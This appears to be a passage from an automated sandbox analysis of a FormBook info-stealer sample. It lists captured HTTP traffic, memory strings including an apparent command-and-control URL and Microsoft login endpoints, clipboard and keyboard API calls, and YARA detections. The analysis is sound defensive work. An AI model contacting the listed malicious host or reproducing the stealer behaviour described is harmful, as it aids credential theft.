64 74 68 3a 20 39 37 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=UTF-8x-request-id: 50f1c528-5493-4cf4-a102-65dd657e20f8x-runtime: 0.035184content-length: 18110connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 2e 62 6f 78 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 45 45 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 35 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 35 65 6d 20 31 2e 35 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 2e 32 65 6d 20 30 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 70 78 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:25:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xi9mskjpuJGZfSAy5wux%2B5dq8HuoCX6CfEOXoKSg6V%2Fz5oFFKa8A9%2Bb8YBWwZPzUHNikExAymtoQvkQuC0VEulbC8eEGRbVNckYJIsltiuoBzlJskofiEpncDnAEhBdpWNqT6%2BdBvb%2FN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bbcd3dd841f2-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1789&rtt_var=894&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=749&delivery_rate=0&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 65 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 53 4d 6f db 30 0c bd 1b d8 7f 60 1c 14 d8 80 08 b6 5b 17 18 6c d9 d8 b0 0f ec b4 ed d0 cb 8e 8a 4d c7 44 64 c9 93 e8 24 5d d1 ff 5e c8 6e ba 66 d3 41 12 29 f2 f1 f1 81 92 ab cf 3f 3e dd fd fa f9 05 7a 1e 74 1d c9 70 80 e7 7b 8d 55 dc 23 ed 7a 2e b2 34 bd 8a c3 13 aa b6 8e e4 80 ac c0 a8 01 ab f8 40 78 1c ad e3 18 1a 6b 18 0d 57 f1 91 5a ee ab 16 0f d4 a0 98 8d 0d 90 21 26 a5 85 6f 94 c6 2a db 80 ef 1d 99 bd 60 2b 3a e2 ca d8 18 92 3a 92 4c ac b1 86 3c cd e1 bb 65 f8 6a 27 d3 be 89 64 b2 f8 e5 4c aa fe 30 60 4b 0a de 8e 0e 3b 74 5e 34 56 5b 27 7c d3 e3 80 45 ab dc fe dd c3 d6 b6 f7 0f 5b d5 ec 77 2e 40 2c 21 c5 3a 4d d3 15 0d 81 ae 32 fc f8 28 93 05 50 26 cf 7d 85 b4 73 e7 4b 0a ac f3 3c 2f 61 50 6e 47 a6 48 cb ce 1a 2e c0 58 37 28 0d 59 3e 9e 92 eb 74 3c c1 47 47 4a 6f e0 1b ea 03 32 35 6a 03 5e 19 2f 3c 3a ea 4a 78 25 62 09 ff b1 82 75 d7 75 65 50 b7 a5 c3 3f ba ab 89 6d 09 03 Data Ascii: 1edeSMo0`[lMDd$]^nfA)?>ztp{U#z.4@xkWZ!&o*`+::L<ej'dL0`K;t^4V['|E[w.@,!:M2(P&}sK</aPnGH.X7(Y>t<GGJo25j^/<:Jx%buueP?m
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:25:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L6yFsi17sblvqPZ8CzFtfX8%2BOhtNHHJJnXdAkwZ8fUWDWsxxQ5YLWSrQ6BZc05w8CXSLZ2FGGpoudaN8wAszHoxxqRYS%2FpwFT1qZ69QluUJvJQWGVWVLtukESoKXtjvN6%2BSMZf8scl8Q"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bbddcf180cc6-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1585&rtt_var=792&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=769&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:25:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FHEpysu2YkLrrfcINTymHEbnmc0QTvPYdYJblb77a%2F%2F8SGKUZKd3ZEUIsk9bPJOUm796j8A9KiJAu1WHVFrO2PEs%2B0QZZw689OfPIt2M6lrpR7%2B0DDhYHmGs3csY4BfKudjdlZ1XXsmw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bbeeafb14392-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=14479&min_rtt=14479&rtt_var=7239&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1782&delivery_rate=0&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 65 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 53 4d 6f db 30 0c bd 1b d8 7f 60 1c 14 d8 80 08 b6 5b 17 18 6c d9 d8 b0 0f ec b4 ed d0 cb 8e 8a 4d c7 44 64 c9 93 e8 24 5d d1 ff 5e c8 6e ba 66 d3 41 12 29 f2 f1 f1 81 92 ab cf 3f 3e dd fd fa f9 05 7a 1e 74 1d c9 70 80 e7 7b 8d 55 dc 23 ed 7a 2e b2 34 bd 8a c3 13 aa b6 8e e4 80 ac c0 a8 01 ab f8 40 78 1c ad e3 18 1a 6b 18 0d 57 f1 91 5a ee ab 16 0f d4 a0 98 8d 0d 90 21 26 a5 85 6f 94 c6 2a db 80 ef 1d 99 bd 60 2b 3a e2 ca d8 18 92 3a 92 4c ac b1 86 3c cd e1 bb 65 f8 6a 27 d3 be 89 64 b2 f8 e5 4c aa fe 30 60 4b 0a de 8e 0e 3b 74 5e 34 56 5b 27 7c d3 e3 80 45 ab dc fe dd c3 d6 b6 f7 0f 5b d5 ec 77 2e 40 2c 21 c5 3a 4d d3 15 0d 81 ae 32 fc f8 28 93 05 50 26 cf 7d 85 b4 73 e7 4b 0a ac f3 3c 2f 61 50 6e 47 a6 48 cb ce 1a 2e c0 58 37 28 0d 59 3e 9e 92 eb 74 3c c1 47 47 4a 6f e0 1b ea 03 32 35 6a 03 5e 19 2f 3c 3a ea 4a 78 25 62 09 ff b1 82 75 d7 75 65 50 b7 a5 c3 3f ba ab Data Ascii: 1edeSMo0`[lMDd$]^nfA)?>ztp{U#z.4@xkWZ!&o*`+::L<ej'dL0`K;t^4V['|E[w.@,!:M2(P&}sK</aPnGH.X7(Y>t<GGJo25j^/<:Jx%buueP?
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:25:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eJvIUYV9gBgGitTGZhGxBfnT11eaCmt5vI8WEhCNaAVpGagPA%2Fb64qNNaEMOXMGb%2FbedVQaH1OFMd%2B%2F8BmwzPRGHmTXELBLyat1Fp4opv6%2B%2F5yASJHrLyfQaTzVVV1bH9I2Epq3B0RFI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ed5bbff8c498c05-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1838&rtt_var=919&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=471&delivery_rate=0&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 33 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c Data Ascii: 31c<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial,
                Source: EDoVdgyZMIcTRp.exe, 00000006.00000002.3813749544.0000000002F82000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.rtpwslot888gol.sbs
                Source: EDoVdgyZMIcTRp.exe, 00000006.00000002.3813749544.0000000002F82000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.rtpwslot888gol.sbs/jmkz/
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: rasdial.exe, 00000005.00000002.3814707564.0000000006692000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000041D2000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Open
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://help.hover.com/home?source=parked
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: rasdial.exe, 00000005.00000003.1853950920.00000000082B9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033K
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033a
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://twitter.com/hover
                Source: rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: rasdial.exe, 00000005.00000002.3814707564.0000000005D26000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.0000000003866000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: rasdial.exe, 00000005.00000002.3814707564.0000000006B48000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.0000000004688000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hostgator.com.br
                Source: EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/about?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/domain_pricing?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/domains/results
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/email?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/privacy?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/renew?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/tools?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/tos?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hover.com/transfer_in?source=parked
                Source: rasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.instagram.com/hover_domains
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_005F6B0C
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F6D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_005F6D07
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005F6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_005F6B0C
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E2B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_005E2B37
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_0060F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0060F7FF

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3804477887.0000000003250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3812598853.0000000004F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663229690.00000000038E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3813749544.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1663999831.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3813400282.0000000004F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1662680828.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3813389290.0000000002E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: This is a third-party compiled AutoIt script.0_2_005A3D19
                Source: lgkWBwqY15.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: lgkWBwqY15.exe, 00000000.00000000.1324260170.000000000064E000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_76b8e12c-c
                Source: lgkWBwqY15.exe, 00000000.00000000.1324260170.000000000064E000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: ]SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_e4474201-8
                Source: lgkWBwqY15.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_76857d7c-e
